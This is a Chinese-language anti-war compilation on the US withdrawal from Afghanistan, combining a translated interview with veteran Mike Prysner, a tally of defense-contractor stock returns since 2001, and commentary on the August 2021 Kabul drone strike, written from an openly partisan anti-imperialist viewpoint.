气候危机、政治两极分化、经济危机、帝国的崩溃、以及沸沸扬扬的社会动荡，都不是单独的现象，而是由相互关联的灾难组成的单一挑战，摆在我们面前。

我们可以从美国政府的对手的失败中得到启发，并从各地抵抗他们的人的成功中学习，同时保持对所有形式压迫的永久反对。

我的心倾注在阿富汗人民身上，他们现在几代人都在遭受战争的创伤。我们谈论的是一块土地和一个多样化的人口所留下的遗产，他们曾多次击败了世界历史上最强大的帝国。我希望他们能找到力量继续前进，并最终实现真正的解放和真正的安全。

我希望我们这些在美国的人，能理解到自己是国际运动的一部分，找到力量，在这个邪恶帝国的中心，不惜一切代价，在旧世界的废墟上建立一个新世界。

现在是倾听阿富汗人民的声音、支持难民、支持援助组织，并抨击那些对过去二十年的灾难负有责任的人的时候了—— 向新的可能性和

新的潜在帮凶敞开我们的心扉 —— 发展能使我们在向未知领域前进时保持安全的技能和心态。

如果你或你的家人目前在美国军队服役，请联系大兵权利热线 **1–877–447–4487**，或者直接做逃兵吧。没有必要继续为武器和国防公司的暴力阵线服务。没有理由为他们的利益而牺牲你自己，也绝对没有理由对世界上的任何穷人做我们刚刚花了二十年时间对阿富汗人民做的事。

欢迎您观看这个纪录片：《In The Name Of My People》

以下是第2部分内容。

“军队中的反战情绪比以往任何时候都强烈”

「图」

2007 年，伊拉克战争老兵迈克·普赖斯纳 (Mike Prysner) 在华盛顿特区的反战抗议活动中被捕。 (Danny Hammontree / Flickr)

伊拉克战争退伍军人迈克·普莱斯纳（Mike Prysner）从事反战活动已有15年。他曾因在国会大厦外示威而被捕；他帮助现役士兵抵抗在伊拉克和阿富汗战争中作战的命令；并将因战争或自杀而失去入伍或退伍亲人的悲痛家庭组织起来。

普莱斯纳在2008年成立了“March Forward! ”组织。今天，他是一名反战记者，曾为他的妻子艾比·马丁主持的《帝国档案》节目撰写和制作了多部纪录片。

在美国军队从阿富汗撤军之际，雅各宾的记者 Meagan Day 采访了普莱斯纳，他们谈论了为什么美国在明知战争注定失败并摧毁了无数生命的情况下，仍然在阿富汗停留了这么久。普莱斯纳还分享了为什么他对反战情绪的主流化 —— 包括现役士兵中的反战情绪 —— 比以往更有希望。

以下是采访内容。

问：你参与美国的反战运动有多久了，是什么导致你参与其中的？

MP：

我是在9/11袭击之前加入军队的，亲眼目睹了军队内部的快速转变，

以及对战争和种族主义的取向。在2003年3月的入侵中，我被派往伊拉克，在该国逗留了一年。我很幸运地在2005年离开了军队，而我的大多数朋友却被困在军队里，被反复部署到伊拉克和阿富汗。

我还在伊拉克的时候就开始发表反对伊拉克战争的言论，为此我惹了点麻烦。我一离开军队，就成为了反战运动的一部分。这并不是什么稀罕事。有一整代的伊拉克和阿富汗退伍军人和现役军人都投入了到反战斗争中。从那时起直到今天，我一直是一名反战活动家。

我在2008年共同创立了 “March Forward!” 组织。我们每年帮助在华盛顿特区和其他城市组织大规模示威活动，动员退伍军人和美国大兵的队伍。但我们也特别注重组织现役士兵。我们在军事基地散发传单，呼吁人们：“不要去阿富汗”。我们通过这种方式结实了很多反对战争、想要拒绝去阿富汗的命令的士兵。

我们还做了很多工作，组织那些在战争中失去亲人或从战争中回家后自杀的家庭。我与许多寡妇、以及失去儿子和女儿的母亲交谈过。多年来，我做了很多关于阿富汗和伊拉克战争的新闻报道，包括为《帝国档案》制作简短的记录片。但我在当地组织现役士兵和家庭的时间是最紧张的和个人的。

问：昨天，乔·拜登发表了关于在阿富汗撤军的讲话。你对总统的讲话有什么看法？

MP：

这完全是意料之中的事，但听到他坦诚自己的立场，即 我们不应该关注阿富汗，相反，我们需要转向其他战线，包括索马里、也门和叙利亚 —— 远离我们已经失败的战争，转向我们可以参与更多轰炸和更多军事行动的新地方 …… 这还是非常令人不安的。这就像他在向军工综合体和对扩张感兴趣的统治阶级阶层提供妥协，说：“是的，我们正在关闭这场战争，但别担心，还会有其他战争可以玩”。

但拜登所说的事是正确的，也是非常重要的，那就是，如果我们再呆八个月或再呆五年，同样的结果会照样出现，仍然会有塔利班的接管。听他这么说很好，但令人烦恼的是，乔·拜登本人和安东尼·布林肯以及前奥巴马政府中他身边的所有其他人都知道，他们本可以在十年或十二年前就离开阿富汗。

2019年发布的阿富汗文件（从未真正成为那么大的丑闻）显示，在二十年战争的大部分时间里，他们都知道完全没有可能阻止塔利班政府

的出现。但他们只是认为他们可以永远拖下去。这只是对军工寡头有利。这对军队有好处。没有足够的美国士兵死亡，人们不关心，美国人也不关心阿富汗平民，所以没有很大的压力来结束它。这对五角大楼和军工综合体来说是个好情况，华盛顿并没有真正注意到这一点，因为他们没有必要注意。

MP：

布什政府在阿富汗发动战争的动机并不是所谓的反恐，当然这不会通过入侵和占领一个在**9.11**事件中完全没有起任何作用的国家来实现。事实上，大约十年前进行的一项调查已经显示，在被占领的南部省份，**92%**的阿富汗青年男子甚至从未听说过**9.11**袭击事件。同时，塔利班曾提出与美国合作，抓捕乌萨马·本·拉登和合作其他反恐工作，但这一提议被美国忽视了。

美国进入阿富汗的原因是，虽然塔利班愿意与美国合作，但他们很难对付，因为他们的行为并不像一个新殖民者。任何不能完全屈从的国家，即使它愿意以某种方式与帝国合作，也都将在被推翻和摧毁的名单上。

布什政府认为这很容易。他们认为："我们只要进入阿富汗，花一个月时间就能推翻塔利班政权，然后我们就会建立一个傀儡政府。然后我们再去伊拉克，做同样的事，这将是非常容易的。然后我们将转到伊朗，做同样的事，然后到黎巴嫩、索马里和苏丹"。五角大楼真的认为它将在五年内推翻所有这些国家。

他们不认为他们会陷入泥潭。这完全是帝国的傲慢，导致当时的布什政府和五角大楼认为这将是一条容易的路。

当这些战争在他们面前炸开了锅，这时奥巴马就来了。奥巴马表示，他将结束伊拉克战争，这个承诺确实是推动他在**2008**年民主党初选中获胜的原因，他利用了当时人们对这场战争的愤怒和敌意。但是，他也承诺要赢得阿富汗战争 —— 不是撤出，而是赢得。这就是为什么奥巴马要在阿富汗增兵。拜登说他反对这样做，但如果你回过头去看看就会知道，他只是主张小规模的增兵，仍然继续无限期的占领。

奥巴马用军队淹没了这个国家，试图对塔利班施加足够的压力，让他们接受一项协议。如果你回顾一下阿富汗文件，奥巴马政府和五角大楼，到那个时候，从来没有真正相信他们可以在军事上击败塔利班。在那个时候，他们相信，如果他们只是制造足够的打击，他们就会接受权力分享的协议，他们在这个程度上与塔利班进行秘密会谈。

因此，当公众被告知美国在阿富汗“取得了进展”，士兵和他们的家人被告知，“我们必须继续战斗，我们必须继续死亡，我们必须继续杀戮几年，直到我们击败塔利班”的时候，而在幕后，他们正试图谈判一个塔利班政府，只是美国傀儡部队发挥了某种作用。

奥巴马增兵在当地是一场灾难 —— 只是在军事上完全失败。在阿富汗文件中，你可以看到五角大楼对奥巴马政府说，“无论从哪个角度看，我们都在输掉战争，无法扭转局面”，而白宫的回应是，“好吧，那就创造一个显示我们做得很好的指标”。

军队内部对战争战略的敌意越来越大。高级别的战士对士兵们被派去进行毫无意义的巡逻表示不满，在那里，每一天都有人被炸断腿。军队内部有很多不满情绪，这对美国来说开始变得不利。

因此，奥巴马战略的结尾基本上是，“好吧，我们要慢慢撤退。我们不可能在军事上实现我们的目标，但在未来十年内，我们将减少军队的数量，让他们在他们的小基地上孤立起来，而不是撤走。我们仍然可以占领这个国家，仍然投放大量的弹药，仍然在为军工企业提供利润，我们只是慢慢离开”。

当特朗普上任时，他继承了少量的地面部队这一决议。撤军已经安排好了。他本可以继续以同样的速度（像他竞选时承诺的那样）退出战争。他抨击共和党和民主党让我们永远留在这场战争中。他喜欢这种论调，直到他有能力做到这一点。

事实上，特朗普所做的反而是将美国在该国的军队数量增加了两倍。他向其他北约国家施压，要求增加军队。他大大增加了雇佣兵的数量，以至于雇佣兵的数量大约是职业士兵的十倍。他的轰炸升级是他总统任期内更怪异的标志之一。中情局和军方在投掷炸弹时已经没有什么限制，而且经常杀害平民，但特朗普进来后说：“强硬起来！”

在特朗普执政期间，美国投下了如此多的炸弹，实际上连续两年杀死的平民比以往任何一年都多。这包括奥巴马时期的增兵，当时地面部队的数量是现在的20倍。正如奥巴马试图通过增兵向塔利班施压那样，特朗普认为他可以通过轰炸眼前的一切向塔利班施压，以达成协议。

对于奥巴马和特朗普政府来说，他们在阿富汗制造的暴力事件甚至都不是为了防止塔利班上台。尽管他们是这么声称的，但是，他们在幕后试图与塔利班组成一个团结的政府，或者一个对美国友好的塔利班政府，并有一些他们试图建立的新殖民主义傀儡政权的残余。而在许

多方面，这正是他们现在得到的结果。当你这样想的时候，你就会意识到他们在完全没有理由的情况下实施了年复一年的更多杀戮。

问：为什么现在撤军是在拜登领导下进行的？拜登并没有完全成为阿富汗战争的坚定反对者。

MP：

这的确很有趣，因为拜登从未主张过全面撤军。甚至直到他与特朗普竞选的最后几天，他还在说我们需要在该国留下几千名士兵，并使用所有这些关于我们不能放弃所谓的阿富汗伙伴的言论。然后，当拜登上任后，他对战争的语气和言辞完全改变了，赞成完全撤出。

原因是，这并不是拜登的计划，而是五角大楼的计划。五角大楼的高层是未经选举产生的，他们对我们的民选政府拥有如此大的控制权。外交政策真正来自五角大楼，而不是来自任何所谓的民主机构。因此，拜登上任时提出了将军队永远留在那里的想法，然后五角大楼说，“不，我们需要撤出”，这就是拜登改变主意的原因。

关于为什么是五角大楼说了算而不是总统，见《全球暴行的同谋者》；关于怎么办，见《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

直到最近，五角大楼对阿富汗的战争还是基本满意。美国在占领的大部分时间里都在失败，他们自己知道这一点，但这样一场旷日持久的冲突对帝国来说仍然是好事，即使你在某种程度上输了一场战争。你有这种极其臃肿的军事预算。有的时候，美国光是为了占领阿富汗，每天就要花费4、5亿美元的开支。这对军工综合体来说是一个巨大的繁荣，它使美国军队能够增长其技术武库。

想想那些为所有维护基地的不同国防承包商提供燃料的能源公司。想想那些正在制造车辆的公司，这些车辆从工厂的装配线上下来，直接进入阿富汗的道路，在那里它们会被炸毁，把军队送回工厂去更换。想想所有制造子弹、导弹、坦克弹的公司。很明显，国防工业在维持战争方面有巨大的利益。

至于五角大楼的官员，他们得到了他们的战斗经验，他们得到了他们的奖章，他们得到了他们的指挥经验，他们得到了晋升，然后他们在退休一周后就进入国防工业的这些六或七位数美元薪水的工作。因此，五角大楼并不希望迅速结束它 —— 因为这个持续的职业（战争）是建立他们耀眼的简历和丰富个人生活的途径。

这在很长一段时间内是好的，但最终会有一个临界点，那就是在一场他们明显输掉的战争中陷入困境20年，这对帝国来说就是个问题了。在某一点上，在阿富汗和伊拉克的失败使美国看起来很软弱，很容易被打败。它开始伤害帝国的形象和它想在世界范围内投射的那种统治力量。于是，统治阶级开始寻找其他政权更迭的目标。

奥巴马在担任总统期间就已经在谈论从伊拉克和阿富汗转移的问题。他阐述的观点是，美国把所有的精力和时间都花在了试图赢得两场不可能赢得的战争上，这损害了它在世界上的 *整体霸权目标*，它需要重整旗鼓，把精力投入到世界的其他地方，包括中东、拉丁美洲，特别是亚洲的其他国家 ……

在特朗普执政期间，你开始看到这种转变，即使是在阿富汗战争拖延的情况下，委内瑞拉的未遂政变，针对古巴的政权更迭政策升级，在也门和叙利亚的行动，以及在南海巡逻的重大升级。这在拜登的领导下并没有停止。副总统卡马拉·哈里斯前往越南，向他们施压，要求他们与中国对抗，显然是想在该地区挑起冲突。

如果您错过了《中国与两党关系的危险》；以及《在拜登任期内，美国和中国会在西太平洋擦枪走火吗？》

我个人认为，美国有点害怕与中国发生战争，不会故意冲入战争。但是，它在世界舞台上的行为是如此具有挑衅性和好战性，以至于一系列升级的冲突都可能会导致战争的发生。而且很明显，关注的焦点已经转移了。所有在西点军校和精英军事学院接受训练的军官都在为这种大国对抗做准备。鉴于这一支点，我认为五角大楼想在此之前离开阿富汗，拜登的行动反映了这一点。

问：我们现在听到的许多反对撤军的论点都围绕着塔利班对人权的侵犯，特别是对妇女权利的侵犯。我们如何回应这些关切，承认塔利班往往是残暴的，对真正的痛苦负有责任，同时仍然为美国离开阿富汗提出理由？

MP：

首先，我认为作为基础的，我们需要承认，美国的占领对阿富汗人民来说是一场绝对的灾难。我们需要认识到在整个战争期间强加给该国的暴力数量 —— 村庄被轰炸，村庄在半夜被特种作战部队突袭，人们在床上被射杀—— 真的是令人发指的事。除了这些暴力，还有持续的占领带来的羞辱 —— 在你的村庄门口有士兵，你每次进出都要被搜身。在占领和战争状态下的生活是非常可怕的。

对阿富汗人的民意调查显示，该国人民的首要任务是结束战争。他们希望和平。大多数阿富汗人希望美国军队完全撤出，并赞成与塔利班达成协议。大约有20万平民在战争中被杀害，有些估计则要比这高得多，而这些暴力事件绝大多数是来自美国的。美国媒体在这种暴力事件发生时并不关心，但现在，他们却想利用所谓的“人权”来主张留下来。

至于妇女权利的具体话题，这很有趣，因为妇女权利并不像能够在美国控制的领土上突然实施的。我确信，在喀布尔和其他一些被当作堡垒的主要权力中心，妇女生活更容易，但是，在整个农村被美国占领的地区，大多保持了在塔利班统治下的文化和宗教规范。

如果我们想看到阿富汗的社会进步，重要的是要明白，当你被占领时，这些都不可能发生。当你的村庄每天都有战斗时，这完全阻碍了任何进步运动蓬勃发展和进步的可能性，因为每个人都在努力解决的主要问题是战争，是“我该怎么活下来”。

在20世纪70年代和80年代，阿富汗有妇女权利倡导者和社会主义者以及各种进步运动，这些都被美国政策压垮了。这一切重新出现并再次推进的唯一途径是—— 阻止国家在战争状态下存在，这意味着结束美国的干涉。

问：本周早些时候，我们看到了阿富汗公民在停机坪上追赶一架美国军用飞机的镜头，他们迫切希望被转移出阿富汗，而美国士兵却在向他们开枪。与此同时，法国总统埃马纽埃尔·马克龙发表讲话说，“我们必须预测到并保护自己免受大量非正常移民潮的影响”。西方对留在阿富汗的人以及阿富汗难民和寻求庇护者有什么责任？

MP：

拜登说我们需要进行全面和立即的撤军，这得到了一些赞誉，而这是正确的说法和做法，但是，他们允许数以千计的人基本上被这些离开该国的空军喷气机碾压的事实，令人震惊。当飞机在千米高空时，人们从起落架上摔下来的视频令人发指！撤退本身是必要的，但这是一个完全失败的行动。

喀布尔机场的图像说明了美国如何看待阿富汗公民和难民，简单说，完全没有人性。它也说明了美国的无能。他们有六千名美国士兵在那里，他们知道塔利班正在进入该城市，他们本应该有一个合理的撤离计划。而相反，他们表现得好像如果他们不在接下来的一个小时内离开，他们都会被杀死似的，并把所有挡在他们前面的阿富汗人都搞

死。

军队是一个巨大的机器，具有令人难以置信的后勤能力，但它无法想出一个有序的方法来管理聚集的人群，希望离开这个国家的人们，这是完全不可避免的。他们最终向人群开枪，杀死了停机坪上的人。这些人中有许多是在阿富汗帮助过美国的人，他们是站在美国一边的！塔利班并没有进来开枪。美国军方完全无缘无故地慌了手脚，结果有人死了。这是拜登政府和当地指挥官的一个可怕的失败，应该困扰他们。

至于西方国家，特别是美国，对阿富汗境内和逃离阿富汗的人们有什么亏欠，我要说的第一件事就是赔偿。我们向阿富汗投入了资金，但几乎所有的钱都给了国防承包商或美国的傀儡部队，这些人现在已经逃离了这个国家，靠他们藏在银行账户里的数千万美元生活。我们欠阿富汗人民的钱，让他们在美国对该国的破坏之后进行重建。而想要离开阿富汗的人应该有权移民到破坏阿富汗的国家，包括美国和另外19个属于北约部队的国家。

问：你对美国反战运动有很长一段时间的前排观察。你是否觉得反战情绪在美国民众中不断增长是有希望的？我们需要做什么来建立一个有效的国内运动，以结束永远的战争？

MP：

在反战斗争十五年后，我实际上比以往任何时候都更乐观。虽然我们没有像伊拉克战争高峰期那样的大规模反战抗议，但我认为，由于人们在伊拉克和阿富汗的经历，反战情绪已经更加广泛和主流。现在，阿富汗问题已经有了结局，我认为我们可以从历史的后视镜中回过头来看看它到底是什么。

特别是，我认为伊拉克战争和阿富汗战争对美国工人阶级产生了重大影响。这个国家的任何一个穷人都知道过去20年里有人参过军，这意味着他们很可能知道有人去了伊拉克或阿富汗，回来后变成了另一个人，或者回来后的生活比他们参军时想逃离的生活更加艰难。我认为这对美国工人阶级的心理产生了深刻的影响。

但我乐观的主要原因是我在组织抗战者的工作中从现役军人队伍中看到的情况。在我从事这项工作的整个过程中，我们总是能够找到那些想大声反对战争或抵制命令的人。总有一些不满的人，甚至有更多愿意勇敢地表态的人，虽然整体上这依旧只是少数。

我认为反战思潮已经壮大了。事实上，我认为军队中的反战情绪比以前更加强烈。例如，当特朗普刺杀卡西姆·苏莱曼尼(Qassim Suleimani) 而我们看起来要与伊朗开战时，在那一周时间里，不断有现役军人与我联系，告诉我他们在任何情况下都不会去与伊朗打仗。我从来没有经历过这样的事，包括在伊拉克和阿富汗战斗的高峰期，当时人们知道，如果他们去那里参战，肯定很有可能无法完整地回来。这对我来说是非常重要的事。《中国、伊朗和美国：关于 **Suleimani** 刺杀事件》

军队中的意识反映了整个社会的意识。我认为所有重大冲击—— 占领运动、伯尼·桑德斯运动、乔治·弗洛伊德运动 —— 都在现役士兵中产生了强大的反响。而且，我们看到，美国的运动建设和社会变革的潜力如此之大，这在军队中也存在。伯尼·桑德斯在初选期间从现役军人那里得到的捐款比所有其他民主党总统初选候选人加唐纳德·特朗普的总和还要多。这说明了军队中表面下涌动的情绪。

至于我们如何在国内建立一个强大的反战运动，我们需要做有原则的工作，建立我们斗争的这一部门，并将其与工人阶级每天处理的其他重要问题联系起来，以便在下一个关键时刻发生时，我们能够准备好保持运动压力并改变结果。

并不总是会有数十万人像在伊拉克战争开始时那样涌上街头，但我们无法预料那种时刻何时会再次到来。我们所知道的是，总是会有新的升级。总是会有帝国侵略的新目标，我们需要准备好参与国际团结的日常工作。跨国联合的力量 —— **WSF** 已成功将六名阿富汗无政府主义者带到安全的地方。“非常感谢世界各地为此目的设立的基金捐款的人。我们正在与阿富汗的更多无政府主义者接触，他们正处于严重的危险之中，并希望取得进一步的成功”。

【附】在美国当局努力应对其在阿富汗的失败之际，美国退伍军人 Matthew Hoh 和 Danny Sjursen 解释了阿富汗战争是如何失败的，阿富汗人如何受苦，军事承包商如何获得暴利 —— 而美国公众却被蒙在鼓里。

嘉宾：

丹尼·斯尤尔森（Danny Sjursen）：美国陆军退役军官，国际政策中心的高级研究员。他曾在伊拉克和阿富汗服役，后来在西点军校教授历史。他的最新作品是《A True History of the United States》。

马修·霍（Matthew Hoh）：前海军陆战队队员和国务院官员，2009

年9月因美国的政策而辞去在阿富汗的职务以示抗议。现在是国际政策中心的高级研究员。

以下是第3部分内容。

阿富汗战争究竟是输是赢？那要看您如何理解输赢，或者说，您想要赢的是什么。前五名国防承包商及其股东已经赚的盆满钵满 ……

「图」

如果你在2001年9月18日—— 即 乔治·W·布什总统签署《使用军事力量授权书》以应对9/11恐怖袭击的那一天—— 购买了10,000美元的股票，平均分配给美国五大国防承包商，并忠实地将所有红利再投资，现在，它将价值 97,295 美元。

这比同期整个股票市场的回报都要高得多。2001年9月18日投资于标普500指数基金的10,000美元，现在将价值61,613美元。

也就是说，在阿富汗战争期间，国防股的表现比股票市场整体高出 **58%**。

此外，鉴于前五大国防承包商 —— 波音公司、雷神公司、洛克希德·马丁公司、诺斯洛普·格鲁曼公司、和通用动力公司 —— 当然是标普500指数的一部分，其余公司的回报率低于标普指数的整体回报率。

这些数字表明，认为塔利班在美国离开后立即接管阿富汗就意味着阿富汗战争是“失败的”，这种结论是错误的。相反，从美国一些最有权势的人的角度来看，它可能是一个非凡的成功。值得注意的是，所有五个国防承包商的董事会都包括退休的高级军官。

一些评论家在2005年的纪录片《我们为何而战》中已经谈到了这一动态，该片讲述了德怀特·艾森豪威尔总统对军事工业综合体发出的警告。

前中央情报局承包商和学者查默斯·约翰逊说：“我向你保证，当战争变得如此有利可图时，你将看到更多的战争。”

一位退休的空军中校说：“有儿子或女儿要被部署前线的美国人 …… 当他们看着自己的成本效益时，他们会说，‘我不认为那是好事’。但是，当了解合同、未来合同的政客们看到战争时，他们会有完全不同

的成本效益分析”。

这些是2001年9月以来相关承包商的具体结果。除波音公司外，其他公司的绝大部分收入都来自美国政府。

标普500指数：

「图」

总回报率：516.67%。

年化回报率：9.56%。

2001年 10,000 美元的股票今天价值：61,613.06 美元

五大承包商股票：

「图」

总回报率：872.94%

2001年 10,000 美元的股票（每支股票2,000美元）今天价值：97,294.80 美元

波音公司 ——

「图」

总回报率：974.97%。

年化回报率；12.67%。

2001年10,000美元的股票今天价值：107,588.47 美元

董事会包括：Edmund P. Giambastiani Jr. (前参谋长联席会议副主席), Stayce D. Harris (前空军监察长), John M. Richardson (前海军作战部部长)

雷神公司 ——

「图」

总回报率：331.49%

年化回报率：7.62%。

2001年10,000美元的股票今天价值：43,166.92美元

董事会成员包括 Ellen Pawlikowski（退役空军将军），James Winnefeld Jr.（退役海军上将），Robert Work（前国防部副部长）。

洛克希德·马丁公司 ——

「图」

总回报率：1,235.60%

年化回报率：13.90%

2001年10,000美元的股票今天价值：133,559.21 美元

董事会包括：布鲁斯·卡尔森（退休的空军将军），小约瑟夫·邓福德（退休的海军陆战队将军）。

通用动力公司 ——

「图」

总回报率：625.37%。

年化回报率：10.46%。

2001年10,000美元的股票今天价值：72,515.58 美元

董事会包括：Rudy deLeon（前国防部副部长）、Cecil Haney（退役海军上将）、James Mattis（前国防部长和前海军陆战队将军）、Peter Wall（退役英国将军）

诺斯洛普·格鲁曼公司 ——

「图」

总回报率：1,196.14%

年化回报率：13.73%

2001年10,000美元的股票今天价值：129,644.84 美元

董事会成员包括：Gary Roughead（退役海军上将），Mark Welsh III（退役空军将军）

所有的股票收益计算都是通过 Dividend Channel 的DRIP计算器进行的，时间从2001年9月18日到2021年8月15日。它们反映的是不含任何税收和费用的回报，并且没有经过通货膨胀的调整。

如果您错过了这本书《为什么战争成为了最赚钱的生意？：新书 ~ “了解战争工业”》

以下是第四部分内容。

美国在阿富汗的最新空袭是整个可怕战争的缩影

「图」

我们可以把关于美国从阿富汗撤军的媒体和政治观点大致分为两个阵营。一个阵营认为，美国应该留下来—— 事实上，现在就应该重新介入这个国家—— 以 “保护阿富汗的人权和打击该国的恐怖分子”。这或多或少是过去几周来建制派媒体和特朗普前顾问麦克马斯特**(H. R. McMaster)**等国安专家所推崇的立场，除其他外，他甚至直接对有线电视新闻观众撒谎，声称上周袭击喀布尔的ISIS当地分支是 “塔利班的替身，所以他们可以在离开时羞辱我们。”

在另一边，主要是在左翼和独立媒体以及反战派政治人物中，人们认为，对阿富汗人权的主要威胁正是外国在阿富汗的存在本身，结束美国的参与是众多糟糕选择中最好的一个。他们指出，继续美国领导的战争只会意味着更多的美国人的生命和财富被肆无忌惮的暴发户挥霍和抽走，并增加了对阿富汗人的暴行清单，这些暴行使阿富汗人怨恨到首先考虑给塔利班第二次机会。

上周，当 ISIS-Khorasan（ISIS-K）袭击喀布尔机场，造成至少170名阿富汗人和13名美国士兵死亡时，可以预见的是，这一事件被支持战争的派别抓住了，作为在该国保留军队的理由。

“今天的伤亡也让人怀疑拜登用来为撤军辩护的一个核心主张—— 即使没有在阿富汗的军事存在，美国仍然可以避免恐怖袭击”，有人写

道。

另一位写道，“ 撤军是一个错误 . . . 比起以前，我们应该准备在乔·拜登总统任意设定的周二最后期限之后将部队留在该国”。

但是，正如随后发生的事很快表明的那样，这正是应该从阿富汗发生的可怕事件中吸取的错误教训。拜登向 ISIS-K 发誓，他将 “追捕你们并让你们付出代价”—— 毫无疑问，在他和撤军行动在国内外受到抨击的时候，他渴望挽回面子并表现出 “强硬”—— 拜登命令在周五对策划袭击的人进行空袭，随后又在周日对一名涉嫌 ISIS-K 的恐怖分子进行了 “防御性打击”。

整个事件迅速变成了这个愚蠢的二十年战争的一个缩影。我们现在知道，周日的无人机袭击杀死了两个喀布尔家庭的10名成员，其中7名是儿童，其中2名死难的儿童年仅2岁。

更悲惨的是，作为政府工作人员，这两个家庭本应被空运出喀布尔，而他们乘坐的汽车被美国无人机袭击，就在孩子们挤进汽车，学习如何开车，以便及时迁往美国的时候。

换句话说，在那些利用阿富汗翻译和政府工作人员的困境来试图维持美国在那里的战争的鹰派人士的要求下，军方刚刚谋杀了这些阿富汗人。

死难者的邻居们告诉半岛电视台，爆炸把他们的房子变成了一个 “恐怖现场”，墙上贴满了血迹和人肉碎片，骨头散落在树丛中。可以理解的是，这一暴行激起了附近居民的愤怒，其中一位邻居告诉新闻媒体：“如果你不能设法击中正确的目标，那么就把阿富汗留给阿富汗人吧”。

这正是在这整个20年可怕战争中所发生的事。美国和盟军声称代表 “人权和打击恐怖主义”，对目标发起鲁莽的、完全不精确的攻击，通常从远处进行，以避免自己的部队被杀所带来的政治影响。

无论这些攻击是否真的杀死了预定目标，它们都确实同时屠杀了更多的平民，有时一次就有几十个平民死亡，包括整个家庭；在余波中，反美情绪增长，对美国人及其当地盟友的攻击变得更有可能，联盟表面上正在打击的叛乱势力的手因此变得更强。

这就是曾在阿富汗和其他地方参与美国无人机袭击项目的吹哨人丹尼尔·黑尔的亲身经历。当然，他现在因为告诉公众关于这些攻击是多么

明显愚蠢的真相而被关进了监狱，而那些在周日屠杀这些儿童的人却不会有任何事：按照国安国的扭曲逻辑，这些杀手只是“完成了自己的工作”。

鹰派人士要求美军在拜登的最后期限之后继续驻扎，这只会确保恶性循环继续下去，使更多的美国人在双重打击中丧生：驻扎时间越长，美军就越容易受到 ISIS-K 和其他与塔利班敌对的恐怖组织的攻击；而违反最后期限，也可能招致塔利班本身的攻击。

作为对战争鹰派的奖励，越多的美国士兵被杀，美国领导层就越有压力要为这些死亡的人“报仇”，并继续在该国进行军事干预，进一步助长这种循环，同时确保更多无辜的阿富汗人被炸成碎片。

不，喀布尔的事件并不是美军留在阿富汗的理由；相反，它们生动地证明了为什么撤出的决定是正确的，以及为什么拜登政府必须坚持它所设定的最后期限并准时离开。

现在，您应该明白了吧。重复强调我们在第一次陈述阿富汗故事时所指出的：我们希望中国朋友能具备美国进步人士的眼光和判断力，因为你们现在需要它。

更多相关资料：

「图」

«Die kommen hier nicht zurecht»: Deutsche Afghanistan-Veteranen warnen vor grosszügiger Aufnahme ehemaliger Ortskräfte（三名前德国士兵回忆他们在阿富汗的任务。这些人一致认为他们自己的工作是有用的。但是，西方将该国转变为所谓的“现代民主国家”的尝试从一开始就注定要失败。）

US Used “Feminism” to Sell Invasion. Now Afghan Women Must Pick Up the Pieces.（美国用“女权主义”来推销入侵。现在阿富汗妇女必须收拾残局 —— 随着阿富汗战争的正式结束，独立媒体 truthout 采访了《反对白人女权主义》一书的作者拉菲亚·扎卡里亚，了解美国官员如何利用该国女性的困境来为2001年的入侵和随后的占领做辩护。扎卡里亚说：“女权主义在阿富汗被取消了合法性，那是因为它被认为与占领军有关。现在，阿富汗妇女只能收拾残局，与塔利班打交道。”）

Leaving the Bitter Graveyard of Empires: In Afghanistan, Everything

Is Crying（离开帝国的苦涩墓地：在阿富汗，一切都在哭泣 —— 美国永远的战争 —— 错误的、难以解决的、致命的狂妄 —— 已经结束。与右翼 “狂热的自以为是” 的煽动相反，在其可怕的后果中留下的混乱不属于拜登，而是属于20年 —— 实际上是60年 —— 政治和军事领导人为追逐妄想的帝国而做出的破坏性决定：“不要在意事实。不在乎损失。无所谓教训”。）

The Latest US Air Strike in Afghanistan Is a Microcosm for the Entire, Terrible War（拜登政府刚刚屠杀了10名即将在美国重新被安置的阿富汗人。这个悲惨的故事是整个战争的一个缩影。）

After two decades of imperialist occupation, Afghanistan faces a “humanitarian catastrophe”（帝国主义占领二十年后，阿富汗面临“人道主义灾难” —— 联合国秘书长安东尼奥·古特雷斯(Antonio Guterres)警告说，阿富汗 “一场人道主义灾难正在逼近”，因为几乎一半的人口，约1800万人，需要紧急人道主义援助才能生存。）

Afghanistan: Der Sieg der Taliban im globalen Kontext（美国职业老兵的反帝国视角）

“Antiwar Sentiment in the Military Is Stronger Than Ever.”（“军队中的反战情绪比以往任何时候都更加强烈。”）

$10,000 INVESTED IN DEFENSE STOCKS WHEN AFGHANISTAN WAR BEGAN NOW WORTH ALMOST $100,000

US Out of Afghanistan, US Bases Out of Everywhere（一些鹰派学者问道，既然美国在世界各地有700多个军事基地的永久性军事存在，为什么一定要离开阿富汗？他们意外地提出了一个很好的观点 —— 美国应该离开阿富汗，而那700个军事基地也应该离开。）

The War in Afghanistan Is Over, It's Time to Face the Truth（“我是一名陆军步兵军官的母亲，我的儿子在奥巴马总统在阿富汗增兵期间在坎大哈服役。他的部下被派往战斗的中心地带，即被称为黑暗之心的地方，是塔利班的精神家园。我的儿子在一场不可能获胜的战争中战斗和指挥，他是被这场毫无意义的悲惨战争永远改变了生活的数十万美国人中的一员。当我们回过头来，把这场战争看作一个整体时，现实远比我当时想象的更加令人不安。）

A WAR’S EPITAPH: For Two Decades, Americans Told One Lie After Another About What They Were Doing in Afghanistan（两十年来，

美国人对他们在阿富汗的所作所为一再撒谎）

In the aftermath of war：An interview with Amanda Demmer（与西贡疏散的比较并无法说明阿富汗崩溃的速度和规模以及它给美国公众带来的震惊。然而，越南战争的战后历史可能指向阿富汗难民问题如何为美国提供了一个自我救赎的机会，以及尽管敌对行动持续不断，外交关系如何能够正常化。）

Afghanistan: Farewell to Arms, Predator Drones, Night Raids…?（“西方军队最终离开这里是正确的 —— 他们早就应该这样做了。只要美国人还在阿富汗，我们就不可能有一个严肃的和平进程。我们必须用我们自己的双手建设我们的国家。.....美国人用残暴的军阀取代了塔利班的野蛮政权，然后开始与塔利班进行谈判，尽管塔利班的性质从未改变。美国人投掷炸弹，污染环境，使这个系统更加腐败。他们对阿富汗人民从来都是漠不关心” —— Malalai Joya，作家、活动家和前阿富汗议会议员）

